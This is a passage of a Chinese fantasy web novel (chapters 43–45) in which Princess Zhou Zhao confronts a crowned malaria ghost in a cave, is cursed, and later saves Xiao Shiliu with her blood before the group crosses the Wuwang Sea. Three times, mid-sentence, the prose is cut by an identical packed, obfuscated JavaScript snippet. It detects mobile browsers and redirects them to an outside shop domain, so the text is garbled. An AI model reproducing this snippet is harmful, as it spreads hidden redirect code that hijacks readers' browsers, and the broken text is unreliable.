越往前走,这林子越密,光线越弱,就好像本就没什么天光的树林突然间暗了下来。不过,这对周昭而言并不全然是件坏事,因为眼前越黑,疟虫的踪迹就越明显。 周昭正盯得眼酸,突然,那只疟虫的亮光竟在她眼前消失不见了! 周昭用力地揉了揉眼睛——遭了!什么也没有! 周遭漆黑一片,偶尔有不知什么鸟兽的鸣叫声传来,山林簌簌,月影憧憧,周昭莫名感到一丝心慌。 疟虫的踪迹遍寻不得,她思索片刻,只得从枝头跳下来。虽说周昭脚步放得很轻,但落下来必然会踩到枯枝败叶发出不小的响动,奇怪的是,她脚下却是软绵绵的,这让她落地几乎没发出多大的声音。 周昭睁着眸子,想看清到底踩在什么东西上面,可惜天色无光,什么也看不清,只好作罢。谁知她刚行了几步,前方似乎传来一声微弱的响动。 周昭停下脚步,又细细地听了一阵儿,确实有不大不小的声音在前面不远处,像是大型野兽的呼吸声,或是旁的什么…… 前面到底有什么呢…… 周昭摸了摸下巴,不由感叹自己真是蠢笨,疟虫不可能无缘无故消失,除非是它找到了自己的主人。 周昭手心出了一层薄汗,也幸亏脚下泥土松软,她几乎没有发出什么声音,便循着那喘息声来到了一个山洞面前。 眼前山洞似乎十分巨大,就好像一头蛰伏在黑暗中的猛兽,周昭只能依稀看清洞口的轮廓,至于里面有什么却是模糊不清的。 他们要找的疟虫主人十之八九就在里面,摆在周昭面前的有两个选择: 要么冲进去找到疟鬼捉来,要么在原地放信号等谢景和她会合。且不说晚一步,那只疟虫可能已经融进疟鬼的身体里难以分辨,万一疟鬼跑了,岂非前功尽弃? 周昭略一思索便拿定主意,她钻进山洞,十分小心地贴着洞壁走了几步,脚下绵软的触感和洞外并无二致。奇怪的是,这洞里似乎一点儿腥臭味儿都没有,反而有种诡异的......香味儿? 周昭转过一个弯儿,正准备从怀里摸索出一个火折子来,那只追寻许久消失不见的疟虫突然在她眼前出现。 不,不是一只。 而是一群! 这山洞并非只有一条通道可以一览无余,所以当周昭踏进这里时,并没有看到石壁之后那一群疟虫,等她眼睛适应了这里的黑暗,那密密麻麻的疟虫猝不及防地映入眼中时,周昭很难形容自己看到的一幕—— 地面每一寸土地都铺满柔软的兽皮,香味似乎就是从那上面散发出来的,洞穴并非封闭,天光从头顶一个挖开的洞口漏下来,细小的灰尘正肆意浮动。 可惜这里不见天日,只有一捧惨白的月光,落在正下方一个巨大无比的野兽头颅上。而头颅之下,端坐着一个石山一样高大壮硕的巨人,那双火炉般的眼睛正一动不动地盯着周昭,目光犹如两道烧红了的楔子。 那群疟虫正欢欣鼓舞地围着巨人打转,似乎每一个都在说着:主人,吃掉我吧!吃掉我采来的灵肉,吃掉我为您吸取的精血! 这就是她要找的疟鬼。 疟鬼她已经见过很多,唯独眼前这个,让她双脚都仿佛被钉在地面上不能移动的疟鬼,他竟然戴着一顶王冕! 而这顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704005|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王冕周昭再熟悉不过,纯金打造,前后一十六道玉石珠帘,华丽无比,当今天下只有一人能戴—— 那便是她的父皇,周朝天子。 周昭简直就要尖叫出来,她努力平复自己的心情,周氏祖先一统天下,将反贼驱逐北疆,这段历史人尽皆知,那只现在还硌得她腰侧隐隐作痛的玉石,突然浮现在脑海中。 周昭努力想回忆玉石的模样,上面到底刻着什么文字,却怎么也回忆不起来,因为眼前那位头戴王冕的疟鬼突然站了起来—— 他和别的疟鬼长得不一样。外面见到的疟鬼无一例外都散发出腐烂的腥臭,裸露在外面的皮肤也都呈现出病态的红色,或许也有那些在他们皮肉里爬进爬出的疟虫的原因,让他们看起来无比恶心。 但山洞里的这位,却好端端地穿着衣服,甚至没有难闻的味道,除了面容早已萎缩有些难看,周昭不觉得他和正常人有什么区别。 不,还是有区别的。 他的脖子处有一圈黑线,就好像这颗头是缝上去的。 周昭不得不佩服自己,事到如今还有心思观望疟鬼的形象,她屏住呼吸,情不自禁后退半步。 那双眸子流露出难以克制的欲望——那是对眼前活生生的食物的欲望。 周昭盯着那顶王冕,上面的琉璃珠子随着主人的起身颤动起来,她想到自己过世的王兄,心脏一阵紧缩,忍不住道:“为何害人?” 她说这句话纯粹出于面对凶手的本能,但她也知道疟鬼听不懂她在说什么,况且鬼吃人是本能,难道还指望对方给出一个回答吗? 对方将那颗似乎摇摇欲坠的头颅偏了偏,脖子发出嘎巴嘎巴的响声。 能听懂吗? 周昭皱了皱眉,警惕地看向越走越近的疟鬼,背后的手悄无声息地摸上后腰,那里藏着一把短而锋利的匕首。 周昭有把握在对方靠近她时将匕首刺进身体,并非周昭夸大,这是常年习武之人面对敌人本能的预判。疟鬼最可怕的武器是疟虫,抛开这个,再高大威猛,也只是一具早已死去很多年的半尸。他们没有思想,没有灵魂,有的只是作为狩猎者的本能。 但不知为何,周昭的眼皮突然开始狂跳起来。 她的手心出了一层薄汗。 周昭还是怕的。不要说杀人,周昭甚至从来都没有伤过人,而她下一刻很可能不得不把匕首捅进一个人——其实也不能算人——的身体里,实在不是件多美妙的事情。 疟鬼显然是很意外,自己的疟虫对周昭没有起到一丁点的作用,只是在周围打转,但他看起来很快接受了这件事情,高高地扬起右手,似乎准备就这样把面前这个只到他腰间那么高女娃拍进土里。 ——就是现在! 周昭抽出刀,利刃在黑暗中擦出一道亮光。其实她脑子里十分混乱,但出于对生的本能还是让她看上去从容不迫地将匕首举起。 不过下一刻,老天同周昭开了一个很大的玩笑—— 她手腕一软,哐当!匕首掉落在地。 43. 断头 周昭闷哼一声,不仅是握刀的手腕,浑身都突然间被抽干了力气,双膝一软,跪倒在地。 地面上的兽皮不断放大,仿佛面目狰狞的人脸,那股诡异的香味扑向面颊,直冲天灵盖。 不好!她竟毫无察觉这香气会使人浑身酸软无力,但此时再捂住口鼻显然太迟了。 疟鬼满意地点点头,大手一伸就要来抓她。这山洞并不平坦,周昭借着地势就这么一滚,对方似是没料到到嘴的食物还想跑,短暂地愣了片刻。 不行,香气太浓了...... 虽然周昭刚才瞅准时机把匕首捡了回来,但她身子发软,头晕脑胀,无论如何,是不可能把这东西用在疟鬼身上的。 不过—— 周昭心念一转,毫不犹豫地在胳膊上划了一刀。 都说周家的血了不得,周昭从前不以为意,当下却无比希望所谓人皇血脉,真有说的那么神奇。疼痛立刻从伤口处蔓延开,周昭的思绪短暂地清明了一瞬。谁知,本来离她还有一段距离的疟鬼突然暴走,三步并两步跑过来,像拎小鸡似的掐住周昭后颈,往墙边狠狠一贯。 砰! 他目光凶狠,全然不似方才的平静,就连喉咙里也发出嘶嘶的低吼,好像如临大敌。 周昭被这一下摔懵了,就算放点血不能去毒,也不至于……! 她的眼睛骤然睁大,左臂突如其来的剧痛让她忍不住仰起头,发出一声痛苦的低呼。疟鬼埋首在周昭左臂,尖利的牙齿毫不留情地刺进皮肉,活脱脱是一匹几天没吃过饭的恶狼。 难道我今天就要死在这儿了? 血液流失的速度是很快的,周昭开始感到寒冷,不知道是那香气的缘故,还是她快要失血过多而死,眼前开始阵阵发白。 周昭突然想起师父江梅棠,在她毅然决然离开盛都时,对方那双一贯冷静自持的眼睛看向她,问她:明鸢,你想好了? 那时周昭不懂江梅棠欲言又止的神情,和这句话背后的深意,难道师父算到了她会死在这样一个肮脏阴暗的山洞里吗?以这样一个屈辱的方式死去? 明鸢,你想好了吗? 明鸢,你想好就这样死去了吗? 明鸢…… 周昭咬紧牙关,从腰间吃力地摸索出一枚信号弹。疟鬼喝血喝得正欢,全然没注意周昭的动作,等他发现时,信号弹已经从周昭手中被丢了出去,发出嘭!一声巨响。 如果幸运的话,谢景说不定能看到她的求救信号;如果不幸,说不定她根本没能将信号弹从天窗扔出去。 不过周昭对谢景能及时来救她这件事,并没有报多大希望,因为她本来也不是这么打算的。 疟鬼对声音很敏感。 显然,就算眼前这只不知道撞了什么邪,一直要喝血的疟鬼也是一样——他被信号弹的声音吓了一跳,掐住周昭的手也松动些,而就是这一愣神的功夫,疟鬼的胸口突然传来异样,低头一看,明晃晃的匕首正缓慢地刺进他的胸口。 “......我不会死的。”周昭喃喃道。 若洞中再明亮些,就能看到周昭的手其实在抖,近乎惨白的脸上布满汗珠。我不会死!她将匕首又往前送了些,随即屈起双腿狠狠一踹! 周昭当然不会这么蠢,妄想自己踹一脚,就能把体型比她大了不止一倍的疟鬼踢翻,她不过是借着这道力使自己摆脱疟鬼的控制。事实证明,她成功了。 周昭借力向后一翻,手脚并用地爬起来,摇摇晃晃地向着洞口走去,心中竟然开始有不切实际的幻想——如果谢景此刻赶到,定能将疟鬼生擒。她头晕眼花,却还想着怎么抓疟鬼这件事。 疟鬼没料到周昭会来这么一手,转动僵硬的头颅,看了看自己的胸口,然后将小得可怜的匕首毫不费力地拔出来,那里一丝血也没有,就好像插进了一个空荡荡的黑洞。 周昭哪敢回头,她一刻不停地往前走,直到匕首落地,在空旷的山洞里发出清脆的一声。 但让她停下脚步的不是这个。 “……我诅咒你。生,众叛亲离;死,永世堕鬼。” 在那一瞬间,仿佛浑身的血液都凝固了,周昭难以置信地回过头,对方的嘴角还残留着她的血液,阴恻恻地冲她露出一个微笑,然后以迅雷不及掩耳之势,抬起右手,朝自己的脖颈劈下去! 咔嚓! 周昭就这样眼睁睁地看着疟鬼的头颅掉下来,剩下的身体直挺挺地倒下去,倒在那一片血泊中。那颗头一直滚啊滚,一路滚到她脚边然后停下,可他的嘴巴仍在一张一合:“周氏,我诅咒你......” 很难形容这幅画面有多惊悚。 周昭想抬脚走开,但她浑身动弹不得,彷佛被定在原地,看着那颗头颅一遍又一遍重复着那句恶毒的诅咒。周遭什么声音也没剩下,只有疟鬼低沉的声音不断回响。起初只有一个人的声音,后来是数十个、上百个人的声音,男男女女,重复着,交织着—— “众叛亲离......” “永世堕鬼......” ...... 周昭感觉自己掉进了地道中的水下漩涡,仿佛有千万只无形的手将她不断地往下拽,灭顶的水流将她淹没,她感到寒冷、窒息,拼命想露出水面,却被扯进更深的漩涡,一滴血掉进来,随后无数的鲜红色在眼前蔓延、扩散…… “殿下?殿下!” 周昭木讷地回过头,对方轻轻摇晃着她的肩膀,他的嘴巴也是这样一张一合,周昭沙哑着声音问:“为什么?” 周昭根本没发现自己在流泪,断断续续的词句传进她的耳朵里,好像有人在说这里马上就要塌了,然后周昭感觉身体一轻,再睁眼已是洞外。 她好像睡了一觉,做了个不太愉快的梦,又好像没有。等她清醒时,周身的酸软已经消失,左臂的伤口也被包扎得很好。 “醒了?” 这声音并无多少温度。 周昭费力地抬了抬眼眸,先是看到一双匀称修长的腿,紧跟着那双黑靴在她面前停下。随后一双黑亮的大眼睛猝不及防地出现在她眼前,那双黑靴的主人被这么一挤,缓慢地抬脚站到一旁去了。 周昭看清来人,喜道:“长淮?” 谢景满眼担心道:“总算是醒了,吓死我了!” “阿鸢,你这是怎么搞的?你不知道我们找到你时,那个血流的吓死人了!” 这位说话的自然是宁啻了,其实他是最搞不清楚状况的人。好在他只是被吊了一天体力不支,又被疟鬼吓得不轻,醒过来便没什么大碍了。 谢景闻言反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710439|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“表哥,什么叫‘我们’?明明是我先找到,然后带你过来的好不好?” 还有心思拌嘴,看来都没受伤。周昭看见眼前他们两个生龙活虎,紧绷着的情绪一瞬间放松下来,嘴角扯出一个微笑,道:“我没事儿,谢谢你们。” 周昭说完这句话,视线不由沿着那双久违的黑靴一路看上去,对方还是那副漫不经心的模样,双手抱胸靠在一根树上,嘴巴里叼着跟不知名的野草。 “……十六,你……没受伤吧?” 萧十六挑了挑眉,没说话。 其实要谢景来说,他是看不惯萧十六这个人的。 傲慢,刻薄,最重要的是——危险。 但不可否认,是萧十六救了周昭。天知道他有多么不想回忆起刚赶到这里时看到的画面,这个人抱着阿昭,浑身是血,谢景差点以为…… 所以他此刻并没有“出言不逊”,只是仔细看了看周昭的伤口,心想那小子包扎的还算不赖。 “等等!”周昭突然抓住他的胳膊,语气中透出不加掩饰的紧张,“长淮,疟鬼呢?” 他们此行费了这么大的周折就是为了抓疟鬼,可不能被他跑掉!她记得刚才疟鬼在吸血,然后她放了信号弹,刺了疟鬼一刀,接着...... 接着疟鬼把自己的头劈掉了?! 谢景见周昭脸色不大好,话还没说出口,那个他极为不喜的声音自头顶传来,萧十六说道:“喏,头在那儿。” 他又抬手一指:“身子在那儿。” “阿昭,快说说你怎么做到的?”谢景兴奋道,“竟然把疟鬼的头斩下来了!要是师父知道,肯定会夸你的,不过你也太鲁莽了,说好的先放信号,怎么一个人先出手了,还好你没事儿,万一有个三长两短的,师父一定会打死我的!” 谢景絮絮叨叨说了一长串,宁啻眉毛微不可查地向上挑了挑,周昭则一个字也听不进去,只觉得脑子里嗡嗡作响,疟鬼就这么死了?那盛都几千条人命怎么办? 周昭不由道:“他......死了?” 谢景一愣,旋即哈哈大笑起来,本想拍拍她的肩膀,又怕碰到伤口,于是作罢,神采飞扬道:“阿昭,你在担心这个啊,他没死,放心。” “没死?可……” 谢景抢道:“你是说他的头?那可是鬼,早就死过一回了,掉个头有什么关系。不过,我看没有头也够他受得了。他现在一分为二,想跑也跑不了,只能乖乖跟我们回盛都啦!” 谢景那时看到信号弹,马不停蹄地往周昭这边赶,但紧随其后的疟鬼群实在难缠,他费了好一番功夫才把他们甩掉。等他赶到时,那个“危险分子”正抱着周昭走出来,对方一言不发将一个什么东西扔给他,谢景接过手才发现是个人头,还是疟鬼的人头! 谢景手一软,对方毫不客气地命令道:“身体在里面,你要是想救人,就自己去拖出来。” 谢景憋着火没处发,对方又道:“顺便提醒一句,山洞快塌了。” 这大概就是事情的全部经过,谢景费了九牛二虎之力,才赶在山洞崩塌前,将疟鬼剩下半截儿运出来。他站起来,走到那颗头颅面前,为了给周昭展示,他左右各踢了一脚,叫道:“老兄!醒醒!” 果然,那颗头颅缓缓地睁开眼睛。 44. 中毒 谢景冷不防被吓了一跳,却并没有表现出来,眉飞色舞道:“看见了吧,阿昭,这东西还能用。” 周昭这才注意到,疟鬼身体部分是被绑起来的,她的视线落在那双睁开的眼睛上,奇怪的是,这好像跟她在洞里看见的有什么不一样,具体是什么她也说不上来,只是觉得有点......怪怪的。 那双眼睛什么情绪也没有,被谢景踢了两脚也毫无波澜,宁啻也是第一次见,好奇地跟着谢景左瞧右看,时不时还拿手摸上一摸,只有萧十六安安静静地站在离疟鬼很远的地方,似乎对他们这种行为并不是很赞同。 周昭忍不住道:“好了长淮,别玩儿了。” 谢景收了动作,继续追问:“对了阿昭,你还没说你怎么把他的头砍下来的?” 此言一出,不光宁啻,就连一直充当透明人的萧十六,也带了几分好奇的目光转过来。 周昭定了定心神,摇头道:“不是我。” “啊?”谢景嘴巴大张,好半晌才慢慢合拢。他第一反应是周昭好歹是个女孩子,不好意思承认割头这种看起来有点残忍的事情,但很快谢景就否认了这个想法。周昭是跟他一起长大的,行事果断,爱恨分明,丝毫不逊于男儿,不会在这等事上扭扭捏捏。 可山洞里只有周昭和疟鬼,不是周昭做的,难不成那头好端端地长在疟鬼身上,自己掉下来了? 不,最初山洞里是只有周昭和疟鬼两个的,但他赶到时,不是还多了一个人吗? 谢景把审视的目光落在萧十六身上,对方懒懒地斜了他一眼,似乎不打算开口回应他的审视。 “我知道你们会觉得很离奇,但......”周昭停顿了一下,继续道,“他的头——真的是自己砍断的。” “什么?!”谢景和宁啻异口同声道。 周昭也很无奈地点点头,表示她也不清楚到底是怎么一回事。 萧十六虽然有一丝惊讶,但很快找到了问题的关键,问道:“小殿下,他在折断自己的头之前,有没有什么异常举动?” 这句话猛地将周昭又推进了那个漆黑幽暗的山洞,她想起来那个梦了,不,也许不是梦。她的耳边萦绕着成千上万句忽远忽近的喃喃低语,每一句都在重复世间最恶毒的诅咒。 “小殿下?” 周昭回过神,勉力一笑,回答道:“刚走神了,不好意思。” 萧十六盯着她的眼睛,片刻后移开目光,语气平淡道:“我想,兴许是疟鬼想以这种方式触发什么禁制……” “譬如山洞坍塌?”谢景抢过话头,头头是道地分析起来,“这是要同归于尽啊......” “也不一定吧?”宁啻一直不曾开口,听到这里忍不住道:“同归于尽,只存在于双方一时难以分出高下的情况,绝大多数是由弱势的一方做出的极端行为,可是这鬼身上并无伤口......” 他是想说疟鬼除了断头,身上根本没有任何伤口,不可能在局势一片大好是因为,选择同归于尽这么愚蠢的方式。谢景投以赞许的目光:“表哥,没看出来你脑子转得还挺快的啊。” 周昭道:“或许不是为了杀掉我,只是为了毁掉山洞。” 谢景道:“只是为了毁掉山洞?” “不错。” “我说,你们打算什么时候离开这鬼地方?”萧十六不耐烦道,“再不走,疟鬼很快就会找到这里。” 这句话点醒了众人,现在毕竟还是在别人的地盘,当务之急是赶紧带着战利品跑路。于是,出奇的没有一个人提出反对意见。谢景虽然嘴贫,但干起正事来毫不马虎,他拿出早已准备好的缚灵袋——不必说,自然是江梅棠给的——将疟鬼打包装进去。 为了安全起见,他特意用了两个,一个装头,一个装剩下半截身体。 谢景看看宁啻,恨铁不成钢,转向萧十六道:“喂!帮我把这东西抬起来。” 萧十六瞥了谢景一眼,散漫地走过来帮忙。 装完疟鬼,谢景掏出帕子擦干净手上的秽物:“呼,累死本殿下了。喂,你要不要擦擦——” 萧十六突然闷哼一声,捂着胸口吐出一口黑血。 “十六!你怎么了?”周昭大惊失色。 谢景的手还在萧十六肩膀上搭着,同样骇道:“我、我什么也没干!”他手忙脚乱地作势就要用帕子去擦萧十六唇边的血,对方有气无力地推开他道:“什么脏东西!” “哦哦,抱歉抱歉!”谢景连忙跟周昭扶着萧十六坐下。宁啻看了看那滩黑血,皱眉道:“这是中毒了。” 周昭道:“疟鬼的毒?可是明明咱们一同服了清风露,怎么——” 周昭话没说完,眼尖地看到萧十六左手整个乌青发黑,肿得老高,急道:“十六,这是怎么回事儿?” 萧十六背靠着大树,半睁着眼,云淡风轻道:“不妨事,被毒蝎子咬了,我......咳咳!” 说着又咳出几丝黑血。 周昭探了探他额头,急促道:“烧得这样厉害!还说不妨事。” “不妙,师父给的丹药全没了......”谢景虽然对萧十六有成见,却不是忘恩负义之人,摔了包裹,恨恨道,“定是被那小妖女拿走了!” 萧十六面色苍白,边咳边道:“你们快走吧,等疟鬼来了,都走不了。” “说什么话!”周昭脑子里一团乱,目光落在地上那滩黑血上,突然灵光一现,“我有办法了!” “什么办法?”谢景两兄弟异口同声道。 周昭不答,抽出剑利落地在掌心划了一道血口。 “阿昭!” “这是——” “不必说了。”周昭扶着萧十六坐起来一点儿,将血淋淋的手掌举到他唇边,认真道,“倘若上苍有灵,烦请见证,我周昭心甘情愿以我血救人,若有半点不诚,甘受天谴。” 萧十六眼中闪过一丝微不可察的悸动,如果再往那双眼睛深处看去,似乎还有些不可言状的犹豫,不过仅仅是像一簇微小的几乎看不见的火苗,转瞬便被那古井般幽深的眸光吞没了。 他声音略哑:“殿下,你......” “哎行了行了!快喝吧我的十六叔!”谢景看得心焦,一把抓住周昭的手,将血灌入萧十六口中,“都说这血金贵,一滴都不能浪费了。” 喂完了血,周昭又在萧十六伤口处涂抹了一些。众人惴惴不安,尤其是谢景跟宁啻,蹲在一旁眼睛眨也不眨地盯着萧十六,想要看看传说中的神血是否真如此厉害。 也许上苍果真听到了周昭的祈愿,约莫小半个时辰,萧十六悠悠转醒,脸色果然好些。 “真神了!”宁啻兴奋道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715407|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧十六嘴唇微动,竟难得说了句中听的话:“小殿下,多谢了。”不过他正经不过一刻,便转向谢景道:“还有你,我的好侄儿。” “你!” 众人热热闹闹地拌嘴几句,开始商量怎么出去。 摆在他们面前的有两条路,一是找找有什么上山的出路,回到他们掉下来的地方再出去;不消说,这条路毫不意外地遭到了所有人的反对,且不说上面还有个小妖女——谢景原话——虎视眈眈,那高耸入云的天梯也不是闹着玩儿的。 第二条路就简单得多,这里是行人岭,三苗国的地界,自然连着无妄海,而无妄海的另一端不正是黎国吗?只要平安渡过无妄海,那么不就能顺利回到黎国了吗? 谢景提出这个方案时,其余人既没有反对,也没有马上赞同,场面一度陷入了不约而同的沉默。 萧十六沉默是很正常的,毕竟他是个开口说话全凭心情的人。周昭沉默也不算奇怪,她一向谨慎不多说废话。然而宁啻的沉默就显得很不寻常,谁都知道他是个话痨。 “话痨”难得的沉思片刻,皱眉道:“表弟啊,真要走无妄海吗?” 谢景上下打量道:“表哥,你怕什么?” “那无妄海......” “得了吧表哥!”谢景不耐烦地挥挥手,不以为意道,“我知道你又要说什么鬼王,难道我们要因为一个不知是真是假的东西在这等死吗?况且就算有鬼王,我们又没惹他,大路朝天各走一边,犯得着这么紧张吗?” 若是从前,周昭会毫不犹豫地同意谢景的看法。她和谢景虽然性格不同,但同为天皇贵胄,很多方面是相通的——譬如心气极高,从不觉得有什么事情是自己干不成的。这既可以说是身后皇权给他们这类人的底气,也可以说是从小养成难能可贵的勇气,所谓初生牛犊不怕虎,用在此处大抵合适。 可经过山洞那么一遭,周昭心底竟生出那么几分没来由的不安,她有些犹豫,但不知为什么,那阵犹豫忽然间就消失了。这种感觉很奇怪,就像是情绪莫名其妙被从身体里抽离出来,然后周昭听见自己平静地说道:“渡海吧。” 周昭有点儿说不上来的感觉,她甚至觉得这句话不像是自己说的。 谢景兴奋道:“瞧,聪明人总是做出聪明的选择。” 周昭笑了笑,很快把刚才的古怪忘掉了。 见状,宁啻也不再多说什么,不过他一路都在絮絮叨叨讲起鬼王的各种传说,说得煞有其事,就好像他真的见过。谢景完全当笑话来听,嘻嘻哈哈不知危险为何物,偶尔周昭也会被他夸张的描述逗笑,只有萧十六一言不发。 跟他们走在一起时,萧十六好像有一层看不见的硬壳,虽然外表看上去都是同龄人,但很难知道他到底在想什么。 不过,谢景显然经过抓鬼这件事后改变了对萧十六的看法,至少改变了一点点,两个人还算能够和平相处。不知道是他们选择的路线出奇得好,还是今天的运气出奇得好,这一路竟然什么意外都没有发生。 约莫半个多时辰,终于到了密林边缘,再往前走就是无妄海。 远远地,迎面而来的微风里那股腥臭味儿已经淡了很多,取而代之的是海水略咸的味道,柔和地灌满了每个人的鼻腔。 周昭感觉好多了,她深深地呼吸了一口:“我们走出来了。” 45. 风浪 所谓无妄海,据说是很多年前有位道人起的名字,意为见到此海的人需得保有一颗至诚之心,剥离所欲,才能岑静无妄。 明月高悬海上,眼前一望无际。兴许是云层过于厚重,月光不甚明朗,以至于那片海域泛着阵阵黑色,好像打翻了的墨汁般黏稠。 海滩上停泊着一些破旧船只,巧的是,他们正好找到一个还能用的,只是船桨被海水泡烂了。 谢景道:“这个好办,我去砍两根木头来,做两只船桨应该不难吧。” 事情的发展太过顺利,顺利到让周昭产生了一种错觉,等天亮起来,第一缕阳光照射在这片海域的时候,他们就能抵达黎国了。 谢景试了试船桨,还算趁手,他将其中一只扔给宁啻,挑眉道:“表哥,辛苦你了。” 谁知船桨半路被一只手接过,谢景简直惊讶地下巴都要掉在地上了,这人竟然愿意干活儿? 萧十六不以为意道道:“怎么?觉得我不会?” 那倒不是,还有您不会的吗? 谢景没将这句话说出口,将额前碎发往后撩了撩,也不客气:“行,我们三个换着来。”他让周昭先上船,又把外衣脱了垫了一个还算舒适的高度,说道:“阿昭,你好好休息一会儿,等你醒了,说不定我们都到对岸了。” 周昭笑道:“但愿如此,等会儿我来替你。” 大海风平浪静,划船并不怎么需要费力,周昭只觉得像坐在秋千上,摇摇晃晃舒服极了,几乎是脑袋刚挨到谢景为她搭的简易枕头上就睡着了。没过多久,宁啻的呼噜声也开始回荡在海面上。 谢景划了一阵儿,自言自语道:“我看这无妄海安全得很。” 他是没指望另一个人回答的,谁料对方破天荒地接过话来,语气平静道:“是吗?” 谢景来了兴致,毕竟长夜漫漫实在无聊,有个人陪自己说话自然是好的。于是他短暂地忘记了他认为眼前是个危险人物这件事儿,搭话道:“当然了,你看我们划了这么久,连大一点儿的浪头都少有,别是那鬼王成业,被本殿下吓得不敢出来了吧!” 哗! 一个浪头掀过来,小船剧烈晃了几下又归于平静,就好像海浪成了精听见他说话。 谢景:“……” 如果宁啻醒着,定会批评谢景话说得狂妄了,谢景也觉得话说过头不是件好事儿,但他就算心里这么想了,也绝不会承认,只是心中开始隐隐有几分不安,而这种情绪一旦冒了头,让人不大舒服。 于是谢景重新将目光放在除了他之外,唯一一个还醒着的人身上,这还是谢景第一次如此细致地观察这个人。说起来他们在苍界山刚见面那回,谢景其实没怎么关注过他,毕竟萧十六那时一身粗布麻衣,因为是周昭认识的人,好奇多看两眼罢了。 而此刻借着月光,谢景才发现这个人长得吧——虽然没他堂堂黎国太子好看,但是也相当不赖。 这是谢景能给出的最高评价,因为谢景相当自恋,曾经跟周昭吹嘘,普天之下没有比他好看的男子,让周昭以后找夫婿就按他的标准来。 谢景就这么悄无声息地盯着对方看了会儿,心中正拿他和自己比较,谁知被比较的对象突然侧过脸,勾唇笑道:“谢景殿下。” 换做白天来看,萧十六的笑容一点儿也不“鬼”。 但此刻月黑风高,孤舟飘零,月光本就寒凉,落在这人脸上就好像镀了一层白霜,更显得他肤色惨白,就连呼吸都是冷的。而他这么突然扭头一笑,不说惊恐,惊吓至少是有的。 谢景手一滑,险些丢了桨,不满道:“我说你好端端的,笑什么……” 萧十六照旧四平八稳地划桨,慢条斯理道:“你不相信无妄海有鬼吗?” “当然。”谢景说完,狐疑道,“这话什么意思?难道你相信?” 萧十六道:“我只是问问,你别紧张。我这里有个关于成业的故事,你要不要听?” 谢景切了一声,道:“来的路上表哥都讲一箩筐了,听得我耳朵都起茧子了。” 话虽这么说,但谢景难得见萧十六主动开口说话,深夜划船实在无聊,话锋一转,勉为其难道:“你有什么新鲜的?如果跟表哥说得一样,不好意思,没兴趣。” 萧十六道:“自然跟他讲得不一样。” 谢景假装没看到对方脸上那一闪而过的不屑,心道:“别人不知道,我还能不知道吗?表哥打小就爱看这些怪力乱神的奇闻异事,又是黎国人,知道的自然比你个苍界山的毛头小子多,我倒要看看你能讲出什么花来。” 他对鬼王兴致不高,对这萧十六倒是饶有兴趣,于是应道:“哦?那说来听听。” 萧十六卖了个关子:“你表哥说的,都是他今天吃人明天杀鬼的烂事儿。我接下来要说的……” “是什么?” 萧十六换了个姿势,说道:“东华,听说过吗?” 谢景不以为意道:“当然了,我还知道东华神君还是凡人时,是月临国的皇族,俗名于南桑。后来悟道成神,就住在瀛洲,我说的没错吧,十六兄弟。” 萧十六点头道:“无相渊自毕方封印后,人鬼两界相安无事数千年,直到一千多年前的今天,阴阳两极阵法重开,有一穷凶极恶之徒被分尸而镇压于阵法乾、坤、巽、艮、中五个方位。不过嘛……” “别卖关子了,快接着讲。” 萧十六摸了摸下巴:“也不晓得阵法出了什么岔子,总之,这个人分尸后化作了厉鬼,能吸纳天地戾气,差遣世间亡魂。” “你说的这个人,就是无相渊下面的?”谢景情不自禁压低声音,用手指了指海面。 萧十六笑了一声:“众鬼本无首,如此一来,天地间好不热闹。无相渊难以为继,鬼怪妖魔就要一涌而出,多亏英明神武的月临太子殿下,出山斩妖魔,再度封印无相渊。” 谢景皱了皱眉,他总觉得萧十六这句“英明神武”语气说得怪,没有半点尊崇之意,反倒有几分嘲讽。 “成神者,无不是成大事者。于南桑之所以得道,就是因为他将那厉鬼镇压在无妄海底,功德无量啊,功德无量。” 萧十六松开桨,谢景这回确定了,这个人的确看不起东华。 “照你这么说,那鬼王都被镇压了上千年,也不足为惧。” 萧十六似乎模糊不清地嗯了声,慢悠悠道:“无妄海下九道渊,幽囚门吉三千年。血月乍现阴阳裂,未许人间活人现。” 谢景只当他是在念民间小调,将萧十六上下打量几眼,问出了自己早就想问的问题—— “十六兄弟,”谢景也跟着他笑了笑,“……你是人是鬼?” ...... 谢景缓缓睁开眼睛,连日的劳累让他在如此逼仄的空间里也能睡了一个好觉,虽然肩膀有些酸痛,但总得来说,他醒来时十分神清气爽。 周昭跟宁啻坐在船头,正小声说着什么:“……宁兄,实在抱歉,那时事态紧急......” 